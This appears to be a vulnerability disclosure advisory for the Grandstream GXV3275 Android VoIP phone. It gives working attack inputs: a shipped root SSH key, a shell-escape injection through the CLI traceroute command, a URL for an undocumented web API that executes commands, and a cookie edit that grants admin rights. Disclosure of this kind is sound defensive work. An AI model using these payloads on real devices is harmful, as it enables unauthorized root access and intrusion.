Grandstream GXV3275 SSH Key / Command Execution

`The Grandstream GXV3275 is an Android-based VoIP phone. Several  
vulnerabilities were found affecting this device.  
  
* The device ships with a default root SSH key, which could be used as a  
backdoor:  
  
/system/root/.ssh # cat authorized_keys  
Public key portion is:  
ssh-rsa  
AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIcYbgmdHTpTeDcBA4IOg5Z7d2By0GXGihZzcTxZC+YTWGUe/HJc+pYDpDrGMWg0hMqd+JPs1GaLNw4pw0Mip6VMT7VjoZ8Z+n2ULNyK1IoTU4C3Ea4vcYVR8804Pvh9vXxC0iuMEr1Jx7SewUwSlABX04uVpEObgnUhpi+hn/H34/  
jhzhao@jhzhao-Lenovo  
Fingerprint: md5 7b:6e:a0:00:19:54:a6:39:84:1f:f9:18:2e:79:61:b5  
  
This issue has not been resolved.  
  
* The SSH interface only provides access to a limited CLI. The CLI's ping  
and traceroute commands will pass user input as parameters to underlying  
system commands without escaping shell metacharacters. This can be  
exploited to break out to a shell:  
  
GXV3275 > traceroute $(sh)  
  
This shell will only see stderr, so we then need to run sh with stdout  
redirected to stderr:  
  
sh 1>&2  
  
This issue has been resolved in firmware version 1.0.3.30.  
  
* The web interface exposes an undocumented command execution API:  
  
  
http://DEVICEIP/manager?action=execcmd&command=echo%20%22hello%22%20%3E%20/system/root/test.txt  
  
This issue has been resolved in firmware version 1.0.3.30.  
  
* The web interface allows unprivileged users to escalate privileges by  
modifying a cookie on the client side:  
  
javascript:void(document.cookie="type=admin")  
  
Full details are available here:  
  
http://davidjorm.blogspot.com/2015/07/101-ways-to-pwn-phone.html  
  
MITRE was contacted repeatedly requesting CVE names for these issues, but  
never replied.  
  
David  
  
  
`